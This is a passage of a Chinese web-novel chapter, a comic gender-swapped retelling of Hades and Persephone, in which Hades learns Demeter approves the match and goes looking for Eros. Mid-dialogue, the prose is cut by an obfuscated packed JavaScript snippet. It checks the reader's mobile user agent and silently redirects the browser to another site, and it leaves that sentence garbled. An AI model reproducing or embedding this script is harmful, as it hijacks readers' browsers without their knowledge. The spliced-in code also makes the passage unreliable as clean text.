究竟是谁大嘴巴似地把这件事说出来的?他不是让他们保密吗! 该不会是厄里斯那个唯恐天下不乱的家伙吧? 赫尔墨斯苦着一张脸。 哈蒂丝啧了一声,决定给他点儿印象深刻的惩罚:“以后就由你来负责给刻耳柏洛斯喂食一日三餐,赫尔墨斯,没有意见吧?” 赫尔墨斯的脸色看起来更苦了:“是……” 没事,也就多个分身罢了。 他下次还敢! 珀瑟福从哈蒂丝身后走出来,居高临下地看着这曾意图闯入她房间的家伙。 “所以,你带来了什么消息?”春神语气冰冷地说道,完全不似面对哈蒂丝时的温柔。 真是毫无礼貌可言!双标的家伙! 赫尔墨斯一眼看穿了珀瑟福的本质,无语至极。 “咳咳咳……那可真是天大的好消息!是这样的——”赫尔墨斯恢复了灿烂的笑容,对面前肯定会终成眷属的两位说道,“德墨忒尔听说了事情真相后打算不追究此事,还让您不用道歉,冥王陛下!” 啊?她没听错吧? 她不是拐走了珀瑟福吗? 哈蒂丝懵了:“德墨忒尔不打算追究?” “何止是不追究啊。”赫尔墨斯兴奋地继续说,“德墨忒尔高兴极了,还说让您和珀瑟福好好培养感情,让珀瑟福在冥界多待些日子也可以,最好待到下个收获季!” 哈蒂丝愣住了:“这……?” 珀瑟福倒是眼睛一亮:“真的?” “千真万确!”赫尔墨斯从包里掏出了瓶瓶罐罐,“瞧,她还送了礼物!花蜜和种子,还有——” “等等。”哈蒂丝不敢置信地打断了赫尔墨斯的话语,眉头紧锁,“德墨忒尔真的这么说?她不是应该……生气吗?” 这时,双子神也已经从庭院那边赶来凑热闹了。 修普诺斯举手:“我们也是这么想的。” 塔纳托斯点头:“这很不合逻辑。” “但这就是事实!”赫尔墨斯双手一摊,“德墨忒尔说她早就觉得冥王陛下您太孤僻了,有珀瑟福陪着挺好的,她还说……” 他看向珀瑟福,眼神变得意味深长。 “珀瑟福从小就仰慕您。” 从小…… 哈蒂丝的记忆被触动了,隐约记得自己以前好像真的有在哪里见过他,所以在奥林匹斯宴会那晚才会一眼就认出他是德墨忒尔之子。 但是那段记忆具体是什么样子她却实在想不起来了,真奇怪。 “所以……”珀瑟福的声音把哈蒂丝重新拉回现实,他自然地握住了她的手,“母亲同意了,我可以留下了。” 哈蒂丝看了看自己和珀瑟福交握的手,又看了看赫尔墨斯那莫名其妙带着期待的眼神,以及双子神意味深长的表情。 “不。”哈蒂丝这么说道。 此刻,所有神的目光都集中在了她的身上。 “我还是要去一趟奥林匹斯。”哈蒂丝抽回手,语气坚定,“我要亲自跟德墨忒尔道歉,再找厄洛斯算账。” 她眯起眼睛,气质带着属于冥王的威严。 珀瑟福的眼神黯淡了一瞬,但很快又恢复了光亮:“我可以跟您一起去吗?” 哈蒂丝直接回应道:“你留在这里。” 珀瑟福眉眼弯弯:“好噢。” 这一次她总算毫不犹豫地选择了留下他。 哈蒂丝转身,黑色长袍在空中划出一道干脆利落的弧线。 “我很快就回来。” 她大步走向冥王宫外,那里停着她的黑马战车。 珀瑟福站在原地看着她的背影,翠绿色的眼睛中闪过一丝复杂的光芒。 赫尔墨斯凑过来,小声说:“别担心,我打赌冥王陛下只是不好意思承认自己其实不想让你走。” 哪知珀瑟福轻笑一声,对他说:“我没在担心。” 因为他始终相信她。 “……”赫尔墨斯歪头,更加小声地问:“所以,你小时候真的哭着闹着要找冥王陛下?会说的第一句话就是她的名字?” 是的,德墨忒尔把这些事全部都跟赫尔墨斯说了。 但珀瑟福从未把它们当做黑历史。 所以他大方地承认了:“对。” 与此同时,双子神那边也有了新动静。 修普诺斯打了个哈欠,懒洋洋道:“你赌什么?我赌陛下会带德墨忒尔过来。” 塔纳托斯挑眉:“我赌陛下肯定会追着厄洛斯狠狠教训一顿。” 赫尔墨斯飞过去加入其中:“我赌她会承认自己是真的爱上珀瑟福了!” 珀瑟福:“……” 他突然觉得,这群神是真的挺闲的。 奥林匹斯圣山,农神花园。 哈蒂丝的战车降落在德墨忒尔宫殿外时,农业女神正在给一片新开垦的花田浇水。 “哈蒂丝!”德墨忒尔看到来者,立刻放下水壶迎上来,“噢,我就知道你一定会来找我的。” 哈蒂丝从战车上下来,表情严肃:“德墨忒尔,关于珀瑟福的事我很抱歉,我不该擅自把他带回冥界。” “不必道歉。”德墨忒尔一副早已预料到如此的神情,然后露出了让哈蒂丝有点儿发毛的温柔笑容,“事实上,我很高兴。” 哈蒂丝:“……高兴?” 虽然赫尔墨斯已经讲过了,但当亲耳听到德墨忒尔说自己对此事很高兴时,她还是感觉非常不可思议。 “当然,亲爱的姐姐。”德墨忒尔拉着哈蒂丝在花园长椅上坐下,“那孩子从小就喜欢你,一直念叨着你的名字,为了见你还烦了我很久呢。” 哈蒂丝眨了眨眼,愈发觉得不可思议了:“这又是怎么回事?” 德墨忒尔也眨了眨眼:“嗯?难道你忘记了吗?” 哈蒂丝:“什么?” 德墨忒尔盯着哈蒂丝看了半晌,突然一拍额头,眼神变得无奈起来。 “我就说你该多出来走走,看,你连这些事情都不记得了!”德墨忒尔握住哈蒂丝的双手,表情诚恳,“答应我,以后别再总是窝在冥界了。” 不得不说,德墨忒尔和珀瑟福不愧是母子,他们俩的某些小动作还挺像的。 哈蒂丝叹了口气,回道:“可我喜欢睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900461|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “两者之间并不耽误。”德墨忒尔笑了,放开了哈蒂丝的双手,“好了,话说回来,既然你已经忘记了,那我就让你想起来——珀瑟福刚出生时我曾邀请过你来看他,从那之后他就学会了说话,只不过说的是‘哈蒂丝’。” 哈蒂丝安静地听着。 好像有点儿印象……了? “噢,对了,因为他小时候老是吵着要见你,我就骗他说只要成为像是阿波罗那样勇猛的打怪专家就可以见你,所以他还专门跑去找了拉冬。不过后来被宙斯和赫拉发现了,他因此受罚陪着拉冬一起守了金苹果圣园一段日子,哈哈哈,那太搞笑了。” 这倒是没想到…… 德墨忒尔发现哈蒂丝的脸正在慢慢变红,笑意更深。 她凑近一些,仿佛在说悄悄话般压低声音:“所以你现在改变主意了吗?还想再加入处女神的行列吗?” 该死,脸越来越烫了。 哈蒂丝无奈道:“就算我想也没机会了。” 德墨忒尔瞬间反应过来,神情震惊中带着喜悦地询问:“噢,亲爱的姐姐,该不会是我想的那个意思吧?” “咳咳……对。” “天呐,这可真是个好消息!”德墨忒尔乐极了,甚至还问道:“是他主动的还是你主动的?” ……咱们要不换个话题? 眼见哈蒂丝沉默了,德墨忒尔连眼神都充满了‘我懂’,摆了摆手。 “亲爱的,还有一件事我得告诉你,希望你不会生气。” “那我不想知——” “现在整个奥林匹斯都知道你在有意要当处女神后带走了珀瑟福。”德墨忒尔直接兴高采烈地继续了言语,“宙斯和波塞冬打赌你们俩明天就会结婚,赫拉押注说你三天内就会改变主意,雅典娜和阿尔忒弥斯表示支持你的选择,阿佛洛狄忒则笑得直不起腰……” 这是多久的事情?你们天天真的很闲啊。 而且这不会又是赫尔墨斯到处传的消息吧? 难怪刚刚在天上偶遇赫利俄斯时他一副欲言又止的样子。 哈蒂丝扶额:“所以,现在全奥林匹斯都在讨论我的感情生活?” “差不多。”德墨忒尔拍拍她的肩膀,“别担心,大家都为你感到高兴,你确实该有个神陪着。” 对于那个神是珀瑟福之事,德墨忒尔乐得合不拢嘴,不仅是因为亲上加亲,而且她早就觉得他俩般配了。 哈蒂丝沉默了片刻,然后说:“其实我觉得我一定是被厄洛斯的箭射中了,宴会那晚他也在。” 不然说不通她怎么会莫名其妙地对珀瑟福一见钟情。 德墨忒尔一愣,挑眉道:“是吗?” “是的。”哈蒂丝站起身来,“所以我现在要去找他。” “厄洛斯应该在东边的玫瑰园,阿佛洛狄忒在那里为他建了很多美丽的雕像。”德墨忒尔指了指方向,“不过,你真的确定那是他干的?” “不知道,但我总得去问个清楚。” “确实,或许在这之后你就会意志坚定了,亲爱的姐姐。” 哈蒂丝顿了顿,随即朝玫瑰园的方向走去。 玫瑰园的喷泉边,小爱神正被狩猎女神揪着翅膀严厉地教训着,他怎么挣扎都无法脱离那只制裁之手,绝望地哇哇大哭。 “你这小鬼还有脸哭?”阿尔忒弥斯的声音传来,听起来好像很愤怒,“你以为我不知道那天晚上你准备朝我射箭?你怎么敢的?!” “呜呜呜我错了我错了我真的错了求求您放过我吧阿尔忒弥斯姐姐!!!” “没门儿!走,跟我去父神那里,你必须得为此付出代价!” 阿尔忒弥斯怒气冲冲地揪着还在不停挣扎的厄洛斯,朝玫瑰园外大步走去。 然后就跟哈蒂丝撞上了。 真奇怪,她看上去似乎有些困惑。 “嗯?”阿尔忒弥斯停下脚步,“日安,冥王陛下,您怎么会在这里?” 哈蒂丝的目光停留在狩猎女神手中的小爱神身上。 “日安。”哈蒂丝迟疑道:“冒昧一问,你刚刚说的那晚是指……?” “您都听到了吗?” 阿尔忒弥斯说到这个就来气,还伸手狠狠地戳了一下厄洛斯的额头,成功在上面留下了红印。 “呜哇!好痛呜呜呜呜!” “当然是前天晚上的宴会,这个臭小鬼明知我是处女神,居然还敢意图算计我……” 阿尔忒弥斯后面说的话似乎已经远去了。 哈蒂丝心中有种不详的感觉。 她询问:“厄洛斯,那晚你还朝谁射箭了吗?”